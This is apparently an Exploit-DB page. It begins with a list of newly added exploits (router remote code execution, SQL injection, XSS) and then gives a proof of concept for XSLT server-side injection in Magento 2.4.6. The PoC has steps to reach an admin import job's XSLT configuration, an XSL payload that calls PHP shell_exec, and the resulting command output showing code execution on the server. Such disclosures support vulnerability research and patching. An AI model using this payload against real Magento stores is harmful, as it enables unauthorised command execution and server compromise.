7ef8e488d8
22 changes to exploits/shellcodes/ghdb GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456 Exploit GL.iNet AR300M v4.3.7 Arbitrary File Read - CVE-2023-46455 Exploit GL.iNet AR300M v4.3.7 Remote Code Execution - CVE-2023-46454 Exploit Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated) R Radio Network FM Transmitter 1.07 system.cgi - Password Disclosure TitanNit Web Control 2.01 / Atemio 7600 - Root Remote Code Execution TPC-110W - Missing Authentication for Critical Function A-PDF All to MP3 Converter 2.0.0 - DEP Bypass via HeapCreate + HeapAlloc Easywall 0.3.1 - Authenticated Remote Command Execution Magento ver. 2.4.6 - XSLT Server Side Injection AC Repair and Services System v1.0 - Multiple SQL Injection Enrollment System v1.0 - SQL Injection Petrol Pump Management Software v.1.0 - SQL Injection Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload Real Estate Management System v1.0 - Remote Code Execution via File Upload Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection Simple Student Attendance System v1.0 - Time Based Blind SQL Injection Boss Mini 1.4.0 - local file inclusion Windows PowerShell - Event Log Bypass Single Quote Code Execution
29 lines
No EOL
1 KiB
Text
29 lines
No EOL
1 KiB
Text
# Exploit Title: Magento ver. 2.4.6 - XSLT Server Side Injection
|
|
Date:** 2023-11-17
|
|
Exploit Author:** tmrswrr
|
|
Vendor Homepage:** [https://magento2demo.firebearstudio.com/](https://magento2demo.firebearstudio.com/)
|
|
Software Link:** [Magento 2.4.6-p3](https://github.com/magento/magento2/archive/refs/tags/2.4.6-p3.zip)
|
|
Version:** 2.4.6
|
|
Tested on:** 2.4.6
|
|
|
|
## POC
|
|
|
|
1. Enter with admin credentials to this URL: [https://magento2demo.firebearstudio.com/](https://magento2demo.firebearstudio.com/)
|
|
2. Click `SYSTEM > Import Jobs > Entity Type Widget > click edit`
|
|
3. Choose Import Source is File
|
|
4. Click `XSLT Configuration` and write this payload:
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<xsl:stylesheet version="1.0"
|
|
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
xmlns:php="http://php.net/xsl">
|
|
<xsl:template match="/">
|
|
<xsl:value-of select="php:function('shell_exec','id')" />
|
|
</xsl:template>
|
|
</xsl:stylesheet>```
|
|
|
|
##RESULT
|
|
|
|
**<?xml version="1.0"?>
|
|
**uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8) |